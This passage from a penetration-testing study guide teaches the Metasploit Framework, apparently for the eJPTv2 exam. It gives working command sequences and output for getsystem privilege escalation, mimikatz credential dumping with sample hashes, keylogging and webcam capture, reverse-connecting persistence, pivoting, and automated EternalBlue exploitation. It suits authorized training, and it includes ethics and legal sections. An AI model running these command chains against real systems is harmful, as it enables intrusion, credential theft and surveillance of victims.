rmdir temp
```

Network Commands

```
# Show network interfaces
ifconfig
ipconfig

# Display routing table
route

# Add route for pivoting
route add 10.10.10.0 255.255.255.0 <session_id>

# Show network connections
netstat

# Port forwarding
portfwd add -l 3389 -p 3389 -r 10.10.10.100
portfwd list
portfwd delete -l 3389

# ARP cache
arp
```

10.7.3 Privilege Escalation

Automatic Privilege Escalation

```
# Attempt to escalate to SYSTEM using all methods
getsystem

# Use specific technique
getsystem -t 0  # Try all techniques
getsystem -t 1  # Named Pipe Impersonation (In Memory/Admin)
```

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```
getsystem -t 2  # Named Pipe Impersonation (Dropper/Admin)
getsystem -t 3  # Token Duplication (In Memory/Admin)
getsystem -t 4  # Named Pipe Impersonation (RPCSS variant)
```

Terminal Output - Privilege Escalation

```
meterpreter > getuid
Server username: DESKTOP-ABC123\user

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > getprivs
Enabled Process Privileges
==========================

Name
----
SeAssignPrimaryTokenPrivilege
SeBackupPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeLoadDriverPrivilege
SeRestorePrivilege
SeTakeOwnershipPrivilege
...
```

Token Manipulation

```
# Load incognito extension
load incognito

# List available tokens
list_tokens -u
list_tokens -g

# Impersonate token
impersonate_token "NT AUTHORITY\\SYSTEM"
impersonate_token "DOMAIN\\Administrator"

# Steal token from process
steal_token <PID>

# Revert to original token
rev2self

# Drop current token
drop_token
```

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10.7.4 Credential Harvesting

Password Hash Dumping

```
# Dump password hashes (requires SYSTEM)
hashdump

# Load Kiwi (Mimikatz) extension
load kiwi

# Dump all credentials
creds_all

# Dump specific credential types
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonpasswords
kiwi_cmd lsadump::sam
kiwi_cmd lsadump::secrets
kiwi_cmd lsadump::cache
```

Security Eagles

Terminal Output - Credential Dumping

```
meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'   Vincent LE TOUX ( vincent.letoux@gmail.com )
  '#####'    > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.

meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials

msv credentials
===============

Username       Domain          NTLM
--------       ------          ----
Administrator  DESKTOP-ABC123  e19ccf75ee54e06b06a5907af13cef42
user           DESKTOP-ABC123  64f12cddaa88057e06a81b54e73b949b

wdigest credentials
===================

Username       Domain          Password
--------       ------          --------
Administrator  DESKTOP-ABC123  (null)
user           DESKTOP-ABC123  P@ssw0rd123

kerberos credentials
====================

Username       Domain          Password
--------       ------          --------
Administrator  DESKTOP-ABC123  (null)
user           DESKTOP-ABC123  P@ssw0rd123
```

Kerberos Ticket Operations

```
# List Kerberos tickets
kerberos_ticket_list

# Export Kerberos tickets
kerberos_ticket_export

# Use golden ticket
golden_ticket_create -d domain.local -u administrator -s <SID> -k <krbtgt_hash>

# Purge tickets
kerberos_ticket_purge
```

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10.7.5 Surveillance and Monitoring

Keystroke Logging

```
# Start keystroke logger
keyscan_start

# Dump captured keystrokes
keyscan_dump

# Stop keystroke logger
keyscan_stop
```

Screen Capture and Recording

```
# Take screenshot
screenshot

# Save screenshot to specific path
screenshot /root/screenshot.png

# Start screen streaming
screenshare

# Record screen to file
record_mic
record_mic -d 30

# Webcam operations
webcam_list
webcam_snap
webcam_stream -i 1
```

10.7.6 Persistence Mechanisms

```
# Run persistence script
run persistence -h

# Create persistent service
run persistence -U -i 60 -p 4444 -r 192.168.1.10

# Create registry persistence
run persistence -X -i 60 -p 4444 -r 192.168.1.10

# Alternative: Use post-exploitation module
background
use exploit/windows/local/persistence_service
set SESSION 1
set LHOST 192.168.1.10
exploit
```

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Persistence Considerations

Establishing persistence requires careful consideration:

- Only create persistence mechanisms with explicit client authorization
- Document all persistence methods and locations
- Ensure reliable removal procedures are tested
- Consider detection risk and operational security requirements
- Plan for cleanup at engagement conclusion
- Never leave unauthorized persistent access

10.8 Post-Exploitation Modules

10.8.1 Understanding Post-Exploitation

Post-exploitation modules automate common tasks performed after gaining access to a system. These modules enhance efficiency and ensure comprehensive coverage of post-compromise objectives.

Post-Exploitation Categories

- **Enumeration** - System, network, and domain information gathering
- **Credential Access** - Password and hash extraction
- **Privilege Escalation** - Local privilege escalation techniques
- **Lateral Movement** - Techniques for moving to other systems
- **Persistence** - Maintaining access mechanisms
- **Collection** - Gathering sensitive files and data
- **Exfiltration** - Data transfer techniques

10.8.2 System Enumeration

```
# Comprehensive system enumeration
run post/windows/gather/enum_system

# Enumerate installed applications
run post/windows/gather/enum_applications

# Enumerate installed patches
run post/windows/gather/enum_patches

# Enumerate network shares
```

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```
run post/windows/gather/enum_shares

# Enumerate logged on users
run post/windows/gather/enum_logged_on_users

# Check for virtualization
run post/windows/gather/checkvm

# Enumerate domain information
run post/windows/gather/enum_domain

# Enumerate domain computers
run post/windows/gather/enum_computers

# Enumerate domain users
run post/windows/gather/enum_domain_users
```

10.8.3 Credential Collection

```
# Comprehensive credential collector
run post/windows/gather/credentials/credential_collector

# Windows autologin credentials
run post/windows/gather/credentials/windows_autologin

# Application-specific credentials
run post/windows/gather/credentials/vnc
run post/windows/gather/credentials/filezilla_server
run post/windows/gather/credentials/total_commander
run post/windows/gather/credentials/winscp

# Domain credential dump
run post/windows/gather/credentials/domain_hashdump

# Smart hashdump (automatic method selection)
run post/windows/gather/smart_hashdump
```

10.8.4 Network Enumeration

```
# Enumerate network configuration
run post/multi/gather/enum_network

# Enumerate ARP cache
run post/windows/gather/arp_scanner

# Enumerate DNS cache
run post/windows/gather/enum_dns

# Scan local subnet
run post/multi/gather/ping_sweep RHOSTS=192.168.1.0/24

# Port scan from compromised host
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.1.0/24
```

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10.8.5 Privilege Escalation Enumeration

```
# Local exploit suggester
run post/multi/recon/local_exploit_suggester

# Enumerate UAC settings
run post/windows/gather/enum_unattend

# Check for always install elevated
run post/windows/escalate/always_install_elevated

# Service permissions enumeration
run post/windows/gather/enum_services
```

Local Exploit Suggester

```
meterpreter > run post/multi/recon/local_exploit_suggester

[*] 192.168.1.100 - Collecting local exploits for x64/windows...
[*] 192.168.1.100 - 38 exploit checks are being tried...
[+] 192.168.1.100 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The target appears to be vulnerable.
[*] Post module execution completed

meterpreter > background
msf6 exploit(multi/handler) > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set SESSION 1
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set LHOST 192.168.1.10
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > exploit

[*] Started reverse TCP handler on 192.168.1.10:4444
[+] Compressed size: 1160
[*] Writing payload file
[*] Executing exploit script
[*] Sending stage (200262 bytes) to 192.168.1.100
[*] Meterpreter session 2 opened

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

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10.9 Pivoting with Metasploit

10.9.1 Understanding Network Pivoting

Pivoting uses a compromised system as a gateway to access otherwise unreachable network segments. This technique is essential for penetrating segmented networks and moving laterally through enterprise environments.

Pivoting Scenarios

- Target system has multiple network interfaces
- Access to internal networks behind firewalls
- Lateral movement across network segments
- Accessing isolated VLANs or DMZs
- Bypassing network segmentation controls

10.9.2 Route Configuration

```
# From Meterpreter, check network interfaces
meterpreter > ipconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0

Interface 12
============
Name         : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 00:0c:29:a1:b2:c3
IPv4 Address : 192.168.1.100
IPv4 Netmask : 255.255.255.0

Interface 13
============
Name         : Intel(R) PRO/1000 MT Desktop Adapter #2
Hardware MAC : 00:0c:29:a1:b2:d4
IPv4 Address : 10.10.10.50
IPv4 Netmask : 255.255.255.0

# Background Meterpreter session
meterpreter > background

# Add route to internal network through session 1
msf6 > route add 10.10.10.0/24 1

# List active routes
msf6 > route print
```

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```

Active Routing Table
====================

   Subnet           Netmask          Gateway
   ------           -------          -------
   10.10.10.0       255.255.255.0    Session 1

# Remove route
msf6 > route remove 10.10.10.0/24 1
```

Using Routes with Modules

```
# After adding route, scan internal network
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 80,443,445,3389
msf6 auxiliary(scanner/portscan/tcp) > run

# Exploit internal target through pivot
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set RHOSTS 10.10.10.100
msf6 exploit(windows/smb/psexec) > set SMBUser administrator
msf6 exploit(windows/smb/psexec) > set SMBPass P@ssw0rd
msf6 exploit(windows/smb/psexec) > exploit
```

10.9.3 Port Forwarding

Port forwarding allows direct access to services on internal networks by creating local listeners that tunnel traffic through the pivot.

```
# From Meterpreter, forward RDP from internal host
meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.10.100

[*] Local TCP relay created: :3389 <-> 10.10.10.100:3389

# List port forwards
meterpreter > portfwd list

Active Port Forwards
====================

   Index  Local          Remote            Direction
   -----  -----          ------            ---------
   1      0.0.0.0:3389   10.10.10.100:3389  Forward

# Connect to forwarded port
# On attacker machine:
$ rdesktop 127.0.0.1:3389

# Delete port forward
meterpreter > portfwd delete -l 3389
[*] Successfully stopped TCP relay on 0.0.0.0:3389
```

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```

# Forward multiple ports
meterpreter > portfwd add -l 8080 -p 80 -r 10.10.10.100
meterpreter > portfwd add -l 4443 -p 443 -r 10.10.10.100
```

10.9.4 SOCKS Proxy

SOCKS proxy provides flexible tunneling for any SOCKS-compatible application.

```
# From msfconsole, start SOCKS proxy
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > set VERSION 4a
msf6 auxiliary(server/socks_proxy) > run -j

[*] Auxiliary module running as background job 0
[*] Starting the SOCKS proxy server

# Add route to internal network
msf6 > route add 10.10.10.0/24 1

# Configure proxychains
# Edit /etc/proxychains4.conf
# Add to end of file:
socks4  127.0.0.1 1080

# Use with any tool
$ proxychains nmap -sT -Pn 10.10.10.100
$ proxychains crackmapexec smb 10.10.10.0/24
$ proxychains firefox
```

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Complete Pivoting Workflow

```
# 1. Compromise edge system
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Meterpreter session 1 opened

# 2. Discover internal network
meterpreter > ipconfig
# Identifies 10.10.10.50 interface

# 3. Configure routing
meterpreter > background
msf6 > route add 10.10.10.0/24 1

# 4. Scan internal network
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 445,3389
msf6 auxiliary(scanner/portscan/tcp) > run

[+] 10.10.10.100:445 - TCP OPEN
[+] 10.10.10.100:3389 - TCP OPEN

# 5. Exploit internal target
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set RHOSTS 10.10.10.100
msf6 exploit(windows/smb/psexec) > set SMBUser administrator
msf6 exploit(windows/smb/psexec) > set SMBPass P@ssw0rd
msf6 exploit(windows/smb/psexec) > exploit

[*] Meterpreter session 2 opened (internal target)
```

10.10 Metasploit Database

10.10.1 Database Architecture

Metasploit uses PostgreSQL to store reconnaissance data, including hosts, services, vulnerabilities, credentials, and session information. Effective database use is critical for organizing assessments and generating reports.

Database Benefits

- Centralized storage of reconnaissance data
- Automatic organization of scan results
- Credential management across multiple systems

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- Team collaboration support
- Report generation capabilities
- Historical tracking of assessment progress

10.10.2 Database Management

```
# Check database status
db_status

# Rebuild database cache
db_rebuild_cache

# Connect to database
db_connect

# Disconnect from database
db_disconnect

# Database statistics
db_status -v
```

10.10.3 Data Import and Export

```
# Import Nmap XML results
db_import /root/nmap_scan.xml

# Import Nessus file
db_import /root/nessus_scan.nessus

# Import Nexpose XML
db_import /root/nexpose_scan.xml

# Export database to XML
db_export -f xml /root/metasploit_export.xml

# Export to PWDump format
db_export -f pwdump /root/hashes.txt
```

10.10.4 Querying Database Information

Host Management

```
# List all hosts
hosts

# List hosts with details
hosts -c address,name,os_name,os_flavor,purpose

# Filter hosts by OS
hosts -o Windows
```

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```
hosts -o Linux

# Search hosts by name
hosts -n workstation

# Add host manually
db_add_host 192.168.1.50

# Delete host
db_delete_host 192.168.1.50

# Delete all hosts
hosts -d
```

Service Enumeration

```
# List all services
services

# Filter by port
services -p 445
services -p 80,443

# Filter by service name
services -s http
services -s microsoft-ds

# Search services
services -S apache

# Show only up services
services -u

# Delete service entries
services -d
```

Credential Storage

```
# List all credentials
creds

# Filter by username
creds -u administrator

# Filter by type
creds -t password
creds -t hash

# Add credential manually
creds add user:admin password:P@ssw0rd host:192.168.1.100

# Delete credentials
creds -d
```

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Vulnerability Tracking

```
# List vulnerabilities
vulns

# List vulnerabilities by host
vulns -h 192.168.1.100

# Show vulnerability details
vulns -v
```

Loot and Notes

```
# List collected loot (files, data)
loot

# List notes
notes

# Add note
notes -a 192.168.1.100 -t "Important finding" -n "This system has weak
    credentials"
```

10.10.5 Automated Data Population

```
# Use services to auto-populate module options
services -p 445 -R
# Automatically sets RHOSTS to all hosts with port 445 open

# Chain with module execution
msf6 > services -p 445 -R
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > run
# Scans all hosts in database with port 445 open
```

10.11 Metasploit Scripting

10.11.1 Resource Scripts

Resource scripts (.rc files) automate common workflows and enable repeatable attack sequences.

Creating Resource Scripts

```
# Create simple resource script
$ cat > basic_scan.rc << EOF
workspace -a scan_$(date +%Y%m%d)
db_nmap -sV -sC 192.168.1.0/24
services -p 445 -R
use auxiliary/scanner/smb/smb_ms17_010
```

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```
run
EOF

# Run resource script
$ msfconsole -r basic_scan.rc

# Or from within msfconsole
msf6 > resource basic_scan.rc
```

Advanced Resource Script Example

```
# automated_exploit.rc
workspace -a automated_assessment
db_nmap -sV -Pn 192.168.1.0/24

# Scan for EternalBlue
use auxiliary/scanner/smb/smb_ms17_010
services -p 445 -R
run

# Exploit vulnerable systems
use exploit/windows/smb/ms17_010_eternalblue
services -p 445 -u -R
set LHOST 192.168.1.10
set payload windows/x64/meterpreter/reverse_tcp
exploit -j -z

# Run post-exploitation on sessions
sessions -c "run post/windows/gather/enum_system" -i 1-10
```

10.11.2 AutoRunScript Configuration

AutoRunScript automatically executes commands or scripts when sessions are established.

```
# Set AutoRunScript for automatic migration
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set AutoRunScript post/windows/manage/migrate
exploit

# Run multiple commands
set AutoRunScript "migrate -n explorer.exe; run post/windows/gather/enum_system
    "

# Execute resource script
set AutoRunScript multi_console_command -r /root/post_exploit.rc
```

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10.11.3 Logging and Documentation

```
# Start logging session
spool /root/logs/assessment_log.txt

# Execute commands (all output logged)
# ...

# Stop logging
spool off

# Or start with logging enabled
$ msfconsole -L -o /root/logs/assessment_log.txt
```

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10.12 Sessions Management

10.12.1 Session Operations

Effective session management is crucial for handling multiple compromised systems during assessments.

```
# List all active sessions
sessions

# List with detailed information
sessions -v

# List only Meterpreter sessions
sessions -t meterpreter

# List only shell sessions
sessions -t shell

# Interact with specific session
sessions -i 1

# Rename session
sessions -n "DC01" -i 1

# Kill specific session
sessions -k 1

# Kill all sessions
sessions -K

# Kill all shell sessions
sessions -t shell -K
```

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Terminal Output - Session Listing

```
msf6 > sessions

Active sessions
===============

  Id  Name  Type                     Information
    Connection
  --  ----  ----                     -----------
    ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ WIN-SRV01
    192.168.1.10:4444 -> 192.168.1.100:49234
  2         meterpreter x64/windows  DOMAIN\Administrator @ DC01
    192.168.1.10:5555 -> 10.10.10.100:51823
  3         shell x64/linux
    192.168.1.10:6666 -> 192.168.1.50:42567

msf6 > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > background
[*] Backgrounding session 1...
```

10.12.2 Batch Operations

```
# Run command on all sessions
sessions -c "getuid"

# Run command on specific sessions
sessions -c "sysinfo" -i 1-3

# Run script on all Meterpreter sessions
sessions -c "run post/windows/gather/enum_system" -t meterpreter

# Upgrade shell to Meterpreter
sessions -u 3

# Execute script on session establishment
set InitialAutoRunScript "migrate -n explorer.exe"
```

10.12.3 Background Jobs

```
# Run exploit as background job
exploit -j

# List running jobs
jobs

```

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```
# Show detailed job information
jobs -v

# Kill specific job
jobs -k 1

# Kill all jobs
jobs -K

# Get job details
jobs -i 1
```

Terminal Output - Job Management

```
msf6 > jobs

Jobs
====

  Id  Name                                    Payload
  --  ----                                    -------
  0   Exploit: windows/smb/ms17_010_eternal   windows/x64/meterpreter/
    reverse_tcp
  1   Auxiliary: server/socks_proxy

msf6 > jobs -k 1
[*] Stopping job 1...

msf6 > jobs

Jobs
====

  Id  Name                                    Payload
  --  ----                                    -------
  0   Exploit: windows/smb/ms17_010_eternal   windows/x64/meterpreter/
    reverse_tcp
```

11 Summary and Key Takeaways

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11.1 Metasploit Framework Summary

This chapter provided comprehensive coverage of the Metasploit Framework, covering all aspects necessary for professional penetration testing engagements.

Key Topics Covered:

- **Metasploit Introduction** - Framework architecture, purpose, and professional tool usage philosophy
- **msfconsole Basics** - Console navigation, workspace management, and essential commands
- **Searching and Information Gathering** - Advanced search techniques and database-driven reconnaissance
- **Auxiliary Modules** - Network scanning, service enumeration, and vulnerability detection
- **Exploitation Framework** - Exploit selection, configuration, and execution across platforms
- **Payloads** - Payload types, generation with msfvenom, and handler configuration
- **Meterpreter Shell** - Advanced post-exploitation with encrypted, in-memory payload
- **Post-Exploitation Modules** - Automated enumeration, privilege escalation, and credential harvesting
- **Pivoting** - Network pivoting, routing, port forwarding, and SOCKS proxying
- **Metasploit Database** - PostgreSQL integration for data organization and analysis
- **Metasploit Scripting** - Resource scripts and automation for repeatable workflows
- **Sessions Management** - Handling multiple compromised systems efficiently

11.2 Critical Skills Development

1. **Module Selection** - Identifying appropriate exploits, auxiliary modules, and payloads for specific scenarios
2. **Database Utilization** - Leveraging PostgreSQL for efficient reconnaissance and data management
3. **Payload Configuration** - Understanding payload architectures and selecting optimal delivery methods
4. **Post-Exploitation** - Comprehensive system enumeration and privilege escalation
5. **Network Pivoting** - Navigating segmented networks and accessing isolated systems
6. **Automation Development** - Creating resource scripts for repeatable attack workflows

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7. **Session Management** - Efficiently handling multiple concurrent sessions
8. **Operational Security** - Maintaining stealth and avoiding detection

11.3 Best Practices

Professional Metasploit Usage

- Maintain organized workspaces for different engagements
- Use the database extensively for all reconnaissance activities
- Always verify targets with check command when available
- Migrate Meterpreter sessions to stable processes immediately
- Document all compromised systems and credentials thoroughly
- Test exploits and payloads in isolated environments first
- Understand module functionality before execution
- Automate repetitive tasks with resource scripts
- Clean up artifacts and remove persistence after assessment
- Stay current with framework updates and new modules
- Combine Metasploit with complementary tools
- Operate strictly within authorized scope

11.4 Metasploit 6 Enhancements

The August 2020 release of Metasploit 6 introduced significant improvements:

Generation Features

- End-to-end encryption for all Meterpreter implementations
- SMBv3 client support for modern Windows environments
- Polymorphic payload generation for improved evasion
- Enhanced anti-virus and IDS evasion capabilities

Encryption Improvements

- AES encryption standard across all Meterpreter payloads
- SMBv3 encryption for lateral movement operations

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- Increased signature detection complexity

Payload Artifacts

- Windows Meterpreter DLLs resolve functions by ordinal
- Removal of ReflectiveLoader text signatures
- Command encoding as integers versus strings
- Polymorphic shellcode generation routine

11.5 Further Learning Resources

Practice Platforms:

- Metasploitable 2/3 - Purpose-built vulnerable virtual machines
- HackTheBox - Realistic vulnerable systems requiring Metasploit
- TryHackMe - Guided Metasploit learning paths
- VulnHub - Community-contributed vulnerable VMs
- PentesterLab - Structured Metasploit exercises

Documentation and Training:

- Metasploit Unleashed - Free comprehensive online course
- Metasploit: The Penetration Tester's Guide - Authoritative reference book
- Rapid7 Blog - Official updates and technical articles
- Metasploit Framework Documentation - Official technical documentation
- Metasploit GitHub Repository - Source code and development activity

Complementary Tools:

- Empire/Starkiller - PowerShell post-exploitation framework
- Covenant - .NET command and control framework
- Sliver - Modern cross-platform adversary emulation framework
- Cobalt Strike - Professional penetration testing platform
- PoshC2 - PowerShell C2 framework for red team operations

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Legal and Ethical Requirements

The Metasploit Framework is a powerful offensive security tool that must be used responsibly:

- Obtain explicit written authorization before testing any systems
- Operate strictly within defined scope of authorized engagements
- Use only in controlled laboratory environments for learning
- Comply with all applicable laws and regulations
- Follow professional ethics and industry best practices
- Maintain comprehensive documentation of all activities
- Protect client confidentiality and sensitive data
- Remove all access mechanisms at engagement conclusion

Unauthorized access to computer systems is illegal under federal and state laws, including the Computer Fraud and Abuse Act (CFAA). Violations can result in criminal prosecution, civil liability, and professional consequences. Always obtain proper authorization and operate with the highest professional standards.

11.6 Exam Preparation

For the eJPTv2 certification exam:

- Practice complete exploitation workflows in laboratory environments
- Master msfconsole navigation and module selection
- Understand payload types and appropriate usage scenarios
- Develop proficiency with Meterpreter post-exploitation
- Practice network pivoting and multi-hop scenarios
- Familiarize with database queries and data management
- Create and use resource scripts for automation
- Practice privilege escalation techniques
- Understand credential harvesting methods
- Develop time management skills for practical scenarios
- Document methodology systematically
- Review common Windows and Linux exploits

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End of Part 10: Metasploit Framework

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